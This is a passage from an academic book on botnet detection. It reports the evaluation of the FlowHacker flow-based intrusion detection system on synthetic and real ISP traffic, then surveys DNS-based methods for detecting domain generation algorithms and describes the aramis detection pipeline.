features are processed by the Hadoop framework. Hadoop is an open-source
framework that features both distributed storage and parallel processing of Big
Data, making it very scalable to very large amounts of data. To support the
parallel data processing, Hadoop implements Google’s MapReduce algorithm
[13]. This model operates on a virtual environment called HDFS, which has
both Mapper and Reducer nodes. This model can be divided into two main steps,
Mapping and Reducing, which realize the operations described in Section 7.4.2.

FlowHacker starts with the similarity module that allows the users managing
the clusters, such as change or calculate the number of clusters (k), generate the
clusters, and visualize their contents, and then the classification module gets the
smaller clusters resulting of the first module, verifies if they are malicious or not,
classifying them, and updates the data set with the malicious ones for further
classifications. Moreover, the tool has a terminal interface that was developed to
facilitate the similarity aggregation tasks and visualize the outcomes.

7.7 Experimental Evaluation
In order to validate our approach, we evaluated FlowHacker experimentally with
two data sets: the ISCX synthetic data set1 (Section 7.7.1), and real data provided
by the large Portuguese ISP (Section 7.7.2).

The objective of the experimental evaluation was to obtain answers for the
following questions:

1. Is FlowHacker able to detect attacks against synthetic data and real data?
2. Is FlowHacker able to identify the type of attacks performed?
3. How does it perform in terms of false positives and false negatives?
4. Is FlowHacker able to detect botnet activity?

7.7.1 Evaluation with Synthetic Data
The ISCX data set consists in flows corresponding to one week, and aims to
provide a complete test data set for IDSs [15]. The data set contains attacks of

1 www.unb.ca/research/iscx/dataset/iscx-IDS-dataset.html
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four classes (Table 7.2): probing, to gather information about the network; denial
of service (DoS), to compromise system availability; user to root (U2R), in which
the attacker leverages access to a normal account to gain root privileges; and
remove to login (R2L), in which the attacker exploits some vulnerability to gain
access. Moreover, there is a train data set and a test data set, whereas the second is
a superset of the first, as shown in the Table 7.2.

All of the flows in the ISCX data set are labeled, therefore allowing for
a validation of the accuracy of FlowHacker. Upon the cluster generation and
respective manual labeling of this data, the results were compared to the ground
truth provided by the original data set. After the data that was labeled, we
proceeded to train our classifier, which is the classifier for further flows to be
analyzed.

7.7.1.1 Cluster Analysis

The data set is divided in six subsets, each one representing a weekday, from
Saturday to Thursday (no Friday). Attacks were detected in all of these days,
except for Wednesday, that was found to be attack-free. For the data of each day,
we did filtering, extraction, and normalization. Next, it was processed by
Hadoop, and then we used FlowHacker configured for 10 clusters. Next we
present the clustering results.

Saturday: By analyzing the contents of the clusters corresponding to this day,
we found one cluster that presented features that are rather alarming. In this one,
the number of different source ports used and number of connections through
the SSH port are highlighted, being the number of connections through the SSH
port at its absolute maximum value. A study on Brute-Force SSH attacks [24] has
shown that these two features together are representative of a Brute-Force SSH
attack. Given that the rest of the traffic presents feature values that are rather

Table 7.2 Attacks in the UNB ISCX train and test data sets (all attacks from
the first exist also in the second)

Class Train data set attacks Test data set only attacks

Probing portsweep, ipsweep, satan, guesspasswd,
spy, nmap

snmpguess, saint, mscan,
xsnoop

DoS back, smurf, neptune, land, pod, teardrop,
buffer overflow, warezclient, warezmaster

apache2, worm, udpstorm,
xterm

R2L imap, phf, multihop snmpget, httptunnel, xlock,
sendmail, ps

U2R loadmodule, ftp write, rootkit sqlattack, mailbomb, proces-
stable, perl
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normal (i.e., none of them is indicting the presence of an intrusion), we
considered that the flow present in this cluster was performing such an attack,
therefore highlighting it as an intrusion flow, as the remainder of the traffic was
considered to be normal.

Sunday: The results for Sunday have shown a very different pattern. Unlike the
previous day, almost every cluster presents very high feature values. Features such as the
average packet size, the number of source ports and the number of HTTP connection
are high in the great majority of the clusters. Also, the number of SMTP connections
was also found to be very high in two different clusters. This behavior shows us that
something is not right, as the SMTP connections are usually grouped together in
a single cluster, and this analysis shows us that two different clusters have these
characteristics. Taking this into account we assume that these flows, although having
this feature with very high values, were grouped into different clusters because they have
a different behavior, and therefore showing us that these flows are not normal. As for
the remaining clusters, we found four that have very high values for the number of
HTTP connections, alongside with the number of different source ports and average
packet sizes. These three features together may indicate that a large volume attack is
being perpetrated, exploring the HTTP protocol, therefore also labeling these clusters as
attacks.

Monday: On Monday, we found two clusters that immediately distinguish
themselves from the rest. The first one has a mean value of 0.998 for the ICMP
Rate, being it the cluster with the biggest dimension (it contains 375 different flows);
the second one has the number of destination ports and number of SMTP and IRC
connections at its highest value possible. However, this is not considered an alarming
behavior, because even though the value for ICMP Rate in indeed at a very high
value, no other feature in that cluster was showing a high value; as for the second
cluster, throughout the whole evaluation of the system, there was always one cluster
with such characteristics, and we can infer that this cluster corresponds only to
regular clients using email services. Apart from these two, other four clusters also
present an alarming pattern. All these clusters share high values for the number of
different source ports, number of HTTP connection and also for the average packet
sizes. Such pattern may be attributed to a DoS attack, as each host is send a great
amount of packets from many different ports, all direct to the port 80 (or port 8080,
in some cases), with an high average packet size. This is the case of the DoS HTTP
Flood attack. However, this is an attack that is easily identifiable by inspecting its
payload, and this flow-based approach does no allow us to perform such an analysis,
being these features our only way to hint the presence of such an attack.

Tuesday: For Tuesday, we observed that there were multiple clusters with
a very high value for the ICMP Rate. However, this feature appear alone, i.e., it
is the only feature in these clusters that has a relevant high value, no other
features show up, apart from one cluster that also has a high value for the average
packet size, which also does not correspond to a recognizable pattern. From all
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these clusters, the one that grabs our attention is the tenth, which features a high
value for the number of source ports, HTTP connections and average packet size.
Also, it has a high packet rate, average packet size and total number of bytes.
From what we have seen so far, this can only correspond to an attack, and
therefore the content of this cluster was labeled as being an attack.

Wednesday: As mentioned, no attacks were identified for Wednesday.
Thursday: For Thursday, just like for Saturday, there is one cluster that was

found to have an absolute maximum value for the number of SSH connection
alongside with a high value of number of different source ports, thus indicating
us the presence of a Brute-Force SSH attack. Also, three other clusters have high
values for the number of different source ports, number of HTTP connections
and also a high average packet size, also possibly indicating the presence of an
attack. Therefore, these two clusters were also labeled as malicious.

7.7.1.2 Unsupervised Classification

In parallel with the daily analysis, FlowHacker may also autonomously identify
malicious activities using the classification method implemented, which classifies
the smaller clusters resulting from the similarity module based on an unsupervised
algorithm and a training data set. Before the FlowHacker is able to classify data it
is needed, at least, malicious labeled data from the first day, which results from
the manual intervention described in Section 7.5.3. From this day on, the classifier
is able to produce results on its own, and these results may be refined with every
iteration of the system (for the purposes of this work, an iteration corresponds to
the period of one day), by training the system again, as new patterns are identified
and manually labeled.

The classifier was trained for the first day with data from the analysis for
Saturday, as seen in Section 7.7.1. As expected when the system processed the
clusters for that day, it correctly identified the malicious flow. However, when
trying to classify the results for Sunday, the classifier did not found any sort of
malicious activity. This was due to the fact that the system’s only knowledge about
the intrusions observed during Saturday, which does not give sufficient information
to the system to detect other attacks. After training the system once again with the
analysis done for Sunday, the classifier was now able to identify the malicious
activities, although it could not identify them all. This same behavior was found
when classifying the remainder of data set throughout the rest of the days.

Table 7.3 shows the results with more detail. Along the system iterations,
FlowHacker detected 7 attacks, which correspond to flows whose were perpe-
trating the attack with greater intensity, i.e., producing large volumes of traffic,
whereas the remainder of the attacks was not successfully identified. Although
we observed 24 false negatives, it is visible that they were decreased during the
iterations, which is justified by increasing of knowledge that the system was
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learned. Regarding the Wednesday, the system misclassified five flows (i.e., false
positives) as being malicious, when the traffic relative to Wednesday is all
normal, intrusion-free traffic. This is due to the fact that Wednesday was one
of the days that had the largest amount of traffic, and therefore the flows that
belong to it also produced higher features values, leading to it being perceived
as malicious. At the end the system misclassified 11 flows as being malicious.
This means that it needs some refine in the classification method. However, we
prefer to have a system giving false positives than unreported attacks, i.e., with
false negatives.

7.7.1.3 Result Validation

The ISCX data set is a data set with known attacks put in a database containing
information about them. The data set is used as the ground truth validation, so
we compared the FlowHacker results with this ground truth to validate them and
find out the accuracy and precision of our system. Each flow belonging to ISCX
is identified by a unique ID, meaning that the flows contained in our clusters
have this ID. Therefore, through this ID we were able to trace back it to its IP
address (which is stored in the database), and this way we were able to identify
the malicious hosts.

We were able to verify that all clusters containing malicious flows identified
by our system actually such flows are malicious, meaning thus that our system
is able to detect and classify correctly attacks under traffic analysis. Also, we
observe that correctly we identify the type of attack evolved in such flows.
However, we also verified that our system generates some false positives and
misses some malicious flows, i.e., has some false negatives, such as is evidenced
by results in Table 7.3.

These results suggest a positive answer to questions 1 to 3.

7.7.2 Evaluation with Real Data

The following results were obtained from data provided by the above-mentioned
large Portuguese ISP. Our NIDS approach assumes that data is collected using

Table 7.3 FlowHacker results with the synthetic data set, showing how
results improve with the number of iterations

Saturday Sunday Monday Tuesday Wednesday Thursday

True Positive 1 3 2 0 0 1

False Positive 0 1 0 1 5 4

False Negative 0 17 4 3 0 0
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NetFlow-enabled routers, e.g., placed at the border routers between the core
network of the Portuguese ISP and the connection to its own international ISP.
All the data that reaches the Portuguese ISP network comes from that interna-
tional ISP that is connected to the Portuguese company via routers that are
placed at the borders of the core network. These routers are NetFlow-enabled,
and are protected by firewalls, in order to filter any wanted data, according to
their security policies, therefore ensuring that only supposedly clean data reaches
its clients. However, not all bad traffic is filtered, which is why there are needed
extra security measures, such as NIDSs. So, the data that reaches these routers
from the outside (i.e., the data incoming from the ISP) is collected by NetFlow,
for further analysis. For the purpose of this evaluation, a data sample was
collected for a few hours. The data set was obtained without a priori knowledge
about the existence of attacks, so we had no data to validate our results, unlike
what happened with the synthetic data set (Section 7.7.1).

After performing the filtering and MapReduce phases, we obtained two
subdata sets comprising the source flows and the destination flows, respectively.
Therefore, the following analysis reports to each of these subdata sets. The
clustering was performed with the number of clusters set to 30 (i.e., k ¼ 30).

7.7.2.1 Source Aggregation Key Clustering

In the content of the source aggregation key clustering, we observe five clusters
that present high feature values, as shown in Table 7.4 (clusters 13, 15, 17, 21,
and 30).

The first presents a high number of different source ports, as well as a high
number of total bytes sent. However, such pattern was not found to be
suspicious, as the number of source ports itself does not represent an alarming
network threat, as opposed to the number of destination ports, and no address
found in this cluster was found to be in any IP blacklist.

When analyzing the second one, we see that is presents a high connectivity to
various users, under various ports, receiving communication on an IRC port, and
communicating through HTTP, with a high number of packets sent, as well as
a high number of bytes. This leads us to assume that this machine is either
a major spammer, or it could be a DoS attack, given its traffic pattern, and it was
thus labeled as being a malicious host.

Moving on the third cluster, it was found to have a high number of SSH
communications alone, which could represent a Brute-Force SSH attack, in just
like had observed in the previous section, thus also being labeled as malicious hosts.

The fourth presented a high number of IRC (which is used as a portal for
botnet’s C&C communications) communications, alongside with a high average
packet size. This feature distribution led us to consider that this could a botnet
communicating, and thus labeling it as malicious hosts. Moreover, we decided to
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track the IP addresses, and check them against a number of public available
blacklists, which confirmed and categorized the IP addresses as sources of
Botnets/Spam. One of the IP addresses led us directly to an authentication page
of a C&C.

When analyzing the last alarming cluster, we observed that it presented
a high number of SMTP communications, but when analyzing its IP addresses,
we found that these were only mail server’s communication, and we found no
harm in it. Prior to this analysis, all of the IP addresses present in the
malicious clusters, were found to be present in several blacklist, thus confirm-
ing our suspicion.

7.7.2.2 Destination Aggregation Key Clustering

In relation to the destination aggregation key clustering, we observe that there are
five clusters (16, 20, 22, 25, 29) with alarming features (Table 7.5).

Analyzing cluster 16, we see that it has a feature distribution that is similar to
what we had understood as a DoS HTTP Flood attack when analyzing the ISCX
data, except that this cluster is missing a high value for the number of HTTP
connections. Therefore, this could also represent a DoS attack, but directed to
other applications, e.g., DNS. We cannot be sure of this attack, because none of
the monitored ports are presenting high values, and so we cannot infer anything
more about it.

Cluster 20 presents a high number of different source IP addresses, destination
ports and number of bytes. Because these flows do not have a high average packet
size, it could possibly indicate that this a network scan, as these flow contacted
many different port of many different IP addresses, resulting in a high value of
bytes sent throughout this process.

Cluster 22, on the other hand, presents a feature distribution that is similar to
what had previously perceived as a DoS attack: it has a high number of different
source IP addresses, number of source ports, number of HTTP connections, and
a number of bytes sent. However, it still lacks a high value for the average packet
size. Therefore, this may be, just like cluster 20, a network scan, but this time
directed to the HTTP application, i.e., it may be a probing of a website in order
to locate some vulnerability, for example.

Cluster 25 presents a high number of different IP addresses, average packet
sizes and number of bytes sent. These features alone do not seem to correspond
to a malicious behavior, as we interpreted them a simple burst of traffic.

At last, cluster 29 hold a have number of source IP addresses, number of
destination ports, number of source HTTP connections, average packet sizes and
number of bytes sent. This pattern very similar to what we have seen for the DDoS
IRC botnet attacks, expect for the number of IRC connections. Therefore, this may
also correspond to infected hosts that are being used as a third party for attacks, but
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contacting its bot master through a C&C server other than an IRC, or they could be
victims of an attacker who is using spoofed IP addresses to use them as a third party.

7.7.2.3 Discussion

Table 7.6 summarizes the information regarding the intrusions detected
throughout this analysis, emphasizing those related to botnet activity. For the
feature numbers, refer to the last column of Table 7.1. The table shows that
FlowHacker was able to detect and identify attacks in real traffic of a company,
both in incoming and outgoing traffic. Such results allow us to verify that real
threats are effective and a concern for companies. Also, they allow us to verify
that our system is effective in detection of such threats, including botnets, and
can be used by companies for avoiding them. This allow us to answer positively
to questions 1 to 4.

7.8 Conclusion
This chapter presents an approach and a system to analyze traffic from fast
networks, such as the fast connection links of ISPs, in which traditional IDSs are
limited due their incapacity to analyze big amounts of traffic that circulates in
these links and to analyze encrypted data.

The system is based on analysis of network flows, which makes it capable of
analyzing such connection links. The approach behind of the system allows
detecting malicious hosts without requiring previous knowledge about what we
were looking for or clean training data. A combination of data mining techniques
for the feature extraction from netflows, and ML techniques for data analysis
allows the detection of malicious behaviors without requiring specific training,
except for the inevitable human intervention in a first run of the system.

Table 7.6 Real data analysis results with botnet cases emphasized

Cluster # Aggregation Key Highlighted Features Type of Attack

15 Source 1, 3, 5, 8, 11, 15 Spam/DoS

16 Destination 1, 3, 6 DoS

17 Source 10 Brute-force SSH

20 Destination 1, 2, 15 Network scan

21 Source 9, 16 Botnet communication

22 Destination 1, 3, 8, 15 Web application probing

27 Source 1, 2, 5, 8, 11, 15 DDoS IRC botnet

29 Destination 1, 2, 4, 11, 15 DDoS botnet

Detecting Botnets ■ 265



The FlowHacker NIDS implements the approach and it was evaluated with
both synthetic and real data, being the real data provided by a large Portuguese
ISP. The results of both analyses suggest that the system can be used in detection
of threats, such as DDoS command by botnet’s C&C communications detected
in the real data analysis.
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During the last years, the structure and organization of botnets have become
more and more challenging. In this context, the role of domain generation
algorithms (DGAs) has been crucial to improve the resiliency of communication
between bots and command and control (C&C) infrastructure. In fact, these
techniques allow botnet controllers to become evasive and potentially avoid
detection. In order to efficiently detect these kinds of threats, specific methods
have to be implemented. In this context, a number of different approaches to
DGA detection have been proposed in state-of-the-art, but DNS-based analysis
has resulted to be one of the most appropriate to obtain good results even in near
real-time analysis conditions, since it only requires the processing of a small part
of the network traffic. For this reason, many recent works focused on automati-
cally recognizing DGA within DNS traffic, whenever occurring.

In this chapter, we will first focus on supervised or signature-based approaches
and explain their possible limitations; then, we will discuss the unsupervised
techniques, usually retrieved by collecting the DNS traffic of a single network.
Eventually, an effective DGA detection algorithm based on a single network
monitoring will be presented. The proposed approach consists of two steps: the
first step involves the detection of a bot looking for the C&C and thus querying
many automatically generated domains. The second phase consists on the analysis
of the resolved DNS requests in the same time interval. The linguistic and
semantic features of the collected unresolved and resolved domains are then
extracted in order to cluster them and identify the specific bot. Finally, clusters
are analyzed in order to reduce false positives.

8.1 Introduction
Cybercrime constitutes one of the most serious threats to the current society, with
huge consequences on both companies or organizations and single individuals
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[1–5]. During the last years, a key role in cybercrime has been played by botnets
[6–8], defined as networks of compromised computers (popularly referred to as
zombies or bots), which are controlled by a remote attacker (popularly referred to
as a bot herder) through specific C&C channels. Among the various threats,
DGA-based attacks have recently become a crucial issue to guarantee the success
of a botnet, since they allow the improvement of the resiliency of communication
between bots and C&C infrastructure.

In fact, the strength of the botnet resides in its highly distributed and highly
changeable network, in order to make the tracing and the recovery of all the
infected components very difficult, and therefore allowing for the spreading of
a wide range of malicious and illegal activities such as ransomwares, exploit kits,
or banking trojans [9–13].

In botnets, information can be exchanged by the bot herder and bots using
different protocols; for example, peer-to-peer (P2P)-based botnets possess a more
robust C&C structure that is difficult to detect and take down, but they are
typically harder to implement and maintain. Many attackers try to combine the
simplicity of centralized C&Cs with the robustness of P2P-based structures by
employing HTTP botnets that locate their C&C servers through the dynamic
generation of domains using a DGA, also known as domain flux.

This technique is based on the following steps: first, each bot uses
a precalculated seed value known to the bot herder (e.g., the current date) to
automatically generate hundreds or thousands of pseudo-random domain names
that represent candidate C&C domains. The bot then sends DNS queries until it
connects to the IP address associated to a resolved domain. The key advantage of
this strategy is that even though one or more C&C domain names or IP addresses
are identified and recovered, the bots will query the next set of automatically
generated domains and they will eventually get the IP address of a relocated C&C
server. In order to obtain a good level of flexibility and a resilient communication
channel between bots and C&C, DGAs represent a widely employed technique
in botnet control [8,14–20]. Therefore, DGA detection is a task of crucial
importance in cyber security.

In this chapter, we will provide an exhaustive overview of state-of-the-art DGA
detection methods. Among the number of different approaches, DNS-based
analysis is one of the most appropriate to obtain quick responses, since it does
not need file dumps and requires only the analysis of a small part of the network
traffic (in particular, it can ignore packets’ payloads).

Elaborately, there are three main reasons to detect DGA botnets using
DNS traces. First, DNS queries are necessary to look up the IP addresses of
C&C domains. Second, focusing on a relatively small amount of traffic helps
to improve performance, making it possible to detect bots in real time. Third,
since bots detection is possible by using only DNS traces when C&C
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domains are searched, it might be possible to stop attacks even before they
happen.

For these reasons, many recent works focused on automatically recognizing
DGA within DNS traffic, whenever occurring. Many efforts have been made to
employ supervised or signature-based approaches [21], but these have obtained
limited results in the highly dynamic DGA environment. Therefore, some works
have applied unsupervised techniques on DNS traffic data provided by some
internet service providers [22–25] or retrieved by collecting the DNS traffic of
a single network [17,19,26].

After reporting the overview of DNS-based DGAs detection techniques, we
will report on an effective DGA detection algorithm that analyzes the DNS traffic
of a single network in near real time. In this context, the ability to detect an
attack in near real time is crucial, as it allows for a quick reaction, and it is the
only way to prevent a potentially severe damage to the company that is working
inside the network under attack.

The remainder of the chapter is organized as follows. After the main concepts
related to DGA are presented in Sections 8.2, Section 8.3 provides an overview of
DGA detection techniques with supervised approaches, while Section 8.4
describes the unsupervised ones. Section 8.5 introduces the monitoring platform
that contains the DGA detection method, which is the focus of this chapter and
which is described thoroughly with the related experimental results. Finally,
conclusions are provided in Section 8.6.

8.2 Background
DGA, also defined as domain flux, is a technique often employed by attackers to hide
malicious servers and avoid blacklists. With this technique, each bot, using
a precalculated seed value known to the bot herder (e.g., the current date), automati-
cally generates hundreds or thousands of pseudo-random domain names that represent
candidate C&C domains. At this point, the bot starts sending DNS queries until it
connects to the IP address associated to a resolved domain. The main advantage
provided by this strategy is that even if one or more C&C domain names or IP
addresses are identified and recovered, the bots will query the next set of automatically
generated domains and it will eventually get the IP address of a relocated C&C server.

The technique that instead represents the dual approach employed by attackers
is defined as IP flux or fast flux. In fact, a common practice for bot herders is to
organize their bots in fast flux service networks (FFSNs): some bots, chosen from
a pool of controlled machines, are used as front-end proxies that relay data
between a (possibly unaware) user and a protected hidden server. The technique
behind these structures is the fast flux, i.e., the rapid and repeated changing of an
internet host and/or name server resource record in a DNS zone, resulting in
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rapid changes of the IP addresses to which the domain resolves. FFSNs make the
tracing and the recovery of all the infected components extremely difficult.

Domains generated by an algorithm are usually pseudo-random domains,
sharing at least some common linguistic attributes. It is known however [17]
that some modern DGAs employ English dictionary words with little modifica-
tions. Therefore, it is usually possible to find common patterns able to character-
ize a specific C&C connection and define the behavior of a particular bot.

More specifically, different types of domain layouts can be distinguished:

■ Alphabetic or alphanumeric: the characters of the domain are pseudo-
random characters extracted from a distribution respectively not containing
or containing numbers.

■ Dictionary-based: the characters of the domain build words extracted from
a dictionary.

In both cases, domains generated by the algorithm may have fixed or variable length.
The following botnets, studied by state-of-the-art works, employ DGAs in

order to avoid detection. Some examples are:

■ PushDO [27], also known as Pandex or Cutwail, that employs an alpha-
betic layout of fixed length.

■ Kraken [28], also known as Bobax or Oderoor, which employs an alpha-
betic layout of variable length.

■ Necurs [29] that employs an alphabetic layout of variable length. All these
variants will be taken into consideration in the experimental evaluation section.

8.3 DGA Detection with Supervised Approaches
Botnets usually rely on DNS to support an agile connection to the
C&C. A simple yet effective way to disrupt them is to blacklist malicious domains
or to add a filtering rule in a firewall or network intrusion detection system.

In an attempt to evade domain name blacklisting, attackers may employ DNS
agility. A common example involves the generation of thousands of randomly
generated domains with dozens of A records or NS records, or domains used for only
a few hours of a botnet’s lifetime. Ref. [21] proposes Notos to passively analyze DNS
query data inside a network. This system is based on the assumption that a malicious
use of DNS has unique characteristics that can be distinguished from legitimate DNS
services. Notos hence builds models of known legitimate domains and malicious
domains. In particular, historical DNS information retrieved passively from multiple
DNS resolvers is collected to build a model of legitimate resources, while information
about malicious domain names and IP addresses is obtained from sources such as
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spam-traps, honeynets, and malware analysis services. Models are built based on
statistical features related to information such as geolocalization, domains structure,
and number of connections to malicious sources.

After building the models, the system employs them to compute a reputation score
for a new domain indicative of whether the domain is malicious or legitimate.

The authors evaluated Notos in a large network with DNS traffic from 1.4 million
users: the results show that it is able to detect malicious domains with 96.8% of
accuracy and low false positive rate (0.38%) and can identify these domains weeks or
even months before they appear in public blacklists.

Even though the results are quite satisfying, one of the main limitations of this
system is that it is unable to assign reputation scores for domain names with very
little historic (passive DNS) information. Therefore, in this situation it might not
be trivial to collect data to build an effective supervised classifier. For example, if an
attacker always buys new domain names and new address spaces, Notos will not be
able to accurately assign a reputation score to the new domains. While in the IPv4
space this is very unlikely to happen due to the impending exhaustion of the
available address space, it may represent a huge issue for IPv6.

BotCensor [30] is a framework that employs a two-stage anomaly detection to
determine if a host is infected with certain DGA malware. In the first stage,
a Markov model is used to identify malicious domains, and in the second stage,
the potentially malicious hosts are re-examined with novelty detection algorithms.
To validate BotCensor, the authors conducted a study using both several public
source data and real DNS traces. Even though the obtained results are quite
satisfying, this system still possesses some limitations. In fact, if an attacker knows
the rationale of the first-stage anomaly detection of BotCensor, he or she may use
domains that are similar to legitimate ones as DNS mapping objects.

Due to the limitations of the supervised approach, in the next section we will
consider unsupervised DNS based approaches, which do not need labeled data.

8.4 DGA Detection with Unsupervised Approaches
In the following paragraphs, we propose an overview of state-of-the-art unsuper-
vised approaches, i.e., approaches that do not require prior knowledge of the
DGAs or reverse engineering of malware samples.

8.4.1 A Statistical Approach for DGA Detection

In the work proposed by [24], the distribution of alphanumeric characters as well as
bigrams in all the domains that are mapped to the same set of IP addresses is taken
into consideration. The authors in fact develop metrics borrowing techniques from
signal detection theory and statistical learning, which can detect algorithmically
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generated domain names that may be generated via plenty of techniques, e.g.,
pseudo-random string generation algorithms as well as dictionary-based generators.
Specifically, they propose the following metrics to quickly differentiate a set of
legitimate domain names from malicious ones: information entropy of the distribu-
tion of alphanumerics (unigrams and bigrams) within a group of domains; Jaccard
index to compare the set of bigrams between a malicious domain name with good
domains; Edit-distance, which measures the number of character changes needed to
convert one domain name into another.

Their methodology is based on the fact that current botnets do not use well-
formed and pronounceable language words since the likelihood that such a word
is already registered at a domain registrar is very high. In turn, this means that
algorithmically generated domain names can be expected to exhibit characteristics
vastly different from legitimate domain names.

8.4.2 Exposure
Among unsupervised approaches, EXPOSURE [22] employs a large-scale, passive
DNS analysis technique to detect domains that are involved in malicious activity.
Fifteen features are extracted from the DNS traffic in order to characterize
different properties of DNS names and the ways they are queried.

The experiments were performed on a large real-world data set consisting of
100 billion DNS requests, and a real-life deployment for two weeks has shown that
the approach is scalable and able to automatically identify unknown malicious domains
that are misused in a variety of malicious activities, e.g., botnet C&C, spamming, and
phishing.

Being able to passively monitor real-time DNS traffic allows to identify malware
domains that have not yet been revealed by pre-compiled blacklists. Anyway, the
system still possesses some limitations: for example, to evade EXPOSURE, an attacker
could try to avoid the specific features and behavior looked for inside the DNS traffic.
Moreover, the detection rate also depends on the training set. Even if the system is
not trained on unknown families of malicious domains, the more malicious domains
are fed to the system, the more comprehensive the approach can become.

8.4.3 Phoenix
Phoenix [23] is a system that, in addition to detecting DGA- and non-DGA-
generated domains using a combination of string and IP-based features, characterizes
the DGAs behind them, by finding groups of DGAs that are representative of the
respective botnets. As a result, Phoenix can associate previously unknown DGA to
these groups, and produce novel knowledge about the evolving behavior of each
tracked botnet. Phoenix framework is hence based on the following phases: collection
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of domains, characterization of the generation algorithms, isolation of groups of
domains representing the respective botnets, and production of novel knowledge
about the evolving behavior of each tracked botnet.

Phoenix has been evaluated on 1,153,516 domains, including DGA-generated
domains from well-known botnets: it correctly distinguished DGA- versus non-
DGA-generated domains in 94.8% of the cases, and characterized families of
domains that belonged to distinct DGAs, helping in gathering intelligence on
suspicious domains to identify the correct botnet.

8.4.4 NetFlow

The technique to detect hosts infected by DGA-malware proposed by [17] is
based on NetFlow, defined as an aggregation of all packets sent from one source
IP and port pair to one destination IP and port pair, over the same protocol.
DGA-based malware is identified by means of a statistical approach based on the
calculation of the ratio of DNS requests and visited IPs for every host in the local
network. The system identifies deviations from this model as potential DGA-
performing malware. The approach is based on the fact that malware usually tries
to resolve many domains during a small time interval without a corresponding
amount of newly visited IPs. Large numbers of domain trials are expected because
they lower the chance of generating already existing or blocked domains.

Authors show that this method is able to detect different popular bots belonging to
different malware families in a real network of 50,000 users with high accuracy.

8.4.5 BotDigger
BotDigger [19] is a system able to detect DGA-based bots using DNS traffic of a single
network without a priori knowledge of the specific DGA, by employing the extraction
of a chain of evidence, including quantity, temporal and linguistic evidence.

In particular, quantity evidence means that the number of suspicious second-level
domains (2LDs) queried by bots is much more than the one of legitimate hosts. Two
temporal evidences are used: (1) the number of suspicious 2LDs queried by a bot
suddenly increases when it starts to look for the registered C&C domain; (2) once the
bot hits the registered C&C domain, the number of queried suspicious 2LDs
decreases. The basis of linguistic evidence relates to the fact that the DGA NXDo-
mains (i.e., non-existent domains) and C&C domains queried by a bot are generated
by the same algorithm, thus they share similar linguistic attributes.

Authors evaluated BotDigger on two famous botnets (Kraken and Conficker)
and showed that BotDigger was able to detect all the Kraken bots and 99.8% of
Conficker bots. Other DNS traces were used to evaluate false positives obtaining
false positive rates between 0.05% and 0.39%.
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One limitation of this framework resides in the fact that BotDigger may not detect
DGA if its time window is too large. Anyway, this has the advantage to force bots to
take more time to contact the C&C domains in order not to be discovered. Moreover,
the quantity evidence requires that the number of NXDomains queried by a bot is
comparable more than legitimate hosts. As a result, BotDigger will fail only if the bot is
“lucky” enough to query just a very small amount of domains before hitting the C&C.

8.5 An Efficient Near Real-Time DGA Approach
Based on a Single Network Monitoring

The proposed DGA detection algorithm has been deployed in aramis (Aizoon
Research for Advanced Malware Identification System) [31], a network security
monitoring platform able to automatically identify a wide range of malware and
attacks in near real time, through near real-time monitoring of a single network.
aramis’s structure can be summarized in four phases:

1. Collection: sensors placed in various nodes of the monitored network gather
data from its different segments, pre-analyze them in real time, and send the
results to a NoSQL database.

2. Enrichment: inside the NoSQL database, data is enriched with information
coming from the aramis Cloud Service, which collects intelligence from various
OSINT (Open Source Intelligence) sources and from internally managed
sources. Intelligence data include information about IP, domains, and user
agents; input data are checked against these sources in order to block potentially
blacklisted events. Some OSINT sources are, for example: Alexa, Alienvault,
BlockList, MalwareDomains, SANS, PhishTank, Tor Project.

3. Analysis: two kinds of analyses are performed on the stored data: (i)
advanced cybersec analytics to spot and highlight specific patterns of attacks
(i.e., DGAs [32], IP Fluxes [33], Ransomware, Covert Channels), and (ii)
a machine learning engine that applies machine learning algorithms to
compare the actual behavior of each node with the usual one, and spot
and signal possible deviations from this behavior.

4. Visualization: the results are presented through cognitive dashboards, which
are crucial to highlight anomalies.

The machine learning engine combines the contributions of two unsupervised machine
learning approaches (i.e., no data labeling is required), which are the following:

■ Bayesian networks: dependences between variables are expressed in a probabilistic
way through a directed acyclic graph (DAG), and the probability of anomaly
compared to the graph belonging to the historical data is calculated.
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■ SVM-one class: anomalies are identified in terms of distance from the
region including all the points representing the historical data.

Figure 8.1 shows the main dashboard of the framework.
The following subsection describes the DGA detection approach, embedded in

the Analysis module.

8.5.1 DGA Detection Method

The aim of the proposed DGA detection method [32] is the near-real-time
identification of domain-flux attacks via the monitoring of a single network. To
this purpose, the method comprises several steps of analysis.

aramis’s DGA detection method

■ Collection of unresolved DNS requests (UNRES): all UNRES requests in
a suitable amount of time are collected in order to detect the process of a bot
trying to connect with the related C&C. A huge and impacting increase of
UNRES in a small amount of time may in fact indicate the tentative of connec-
tion with several untrusted automatically generated domains.

(Continued )

Figure 8.1 aramis’s dashboard.

278 ■ Botnet



(Cont.)

aramis’s DGA detection method

■ Filtering and preprocessing of UNRES: all the queries due to user errors
(e. g., typos of popular domains) and system misconfigurations are
removed.

■ Outlier detection: the hosts producing the highest peaks of UNRES are
identified.

■ Extraction of resolved DNS requests (RES): RES near the peaks identified in the
previous step are collected. In this way, it is possible to detect the moment when
a bot stops querying because an existent domain has been hit and a successful
connection has been established.

■ Domain features extraction: all the collected RES and UNRES are mapped in
a feature space able to embed the related linguistic and semantic
components.

■ Clustering: domains with similar features are grouped together in order to spot
common patterns of the specific bot, applying specific unsupervised machine
learning algorithms.

■ False positives removal: in order to reduce false positives, the level of
homogeneity of the clusters is calculated. This allows the distinction
between true DGAs (associated with highly homogeneous clusters) from the
expected legit unresolved DNS peaks (associated with less homogeneous
clusters).

Furthermore, we describe the details of each step.

8.5.1.1 Collection of UNRES

In order to maintain the near-real-time constraint, all the UNRES are continu-
ously downloaded and analyzed. On average, the complete DGA detection
algorithm takes 2 seconds to complete.

8.5.1.2 Filtering and Preprocessing of UNRES

The following filters are applied to the retrieved UNRES:

■ Requests containing invalid or malformed top level domains (TLDs) are
removed. Typically, they are due to typos or user errors.

■ Overloaded DNS: DNS queries are sometimes overloaded so to provide
anti-spam or anti-malware techniques. In order to reduce noise, the over-
loaded DNS are removed.

■ Local and private domains are removed.
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■ White list domains (i.e., domains that are known to be trusted) are
removed.

■ Popular domains are removed. More specifically, three popular domains
sources are considered—the top 10,000 domains in the world provided by
Alexa [34], the web URLs of the 500 world biggest companies provided by
Forbes [35], and the top 100 domains collected inside the network under
analysis. In all these cases, the second- and third-level domains of an input
domain are extracted and compared with the second- and third-level
domains of the list of popular domains; if the Jaro-Winkler distance [36]
is below 0.1, the input domain is considered as a misspelling of a popular
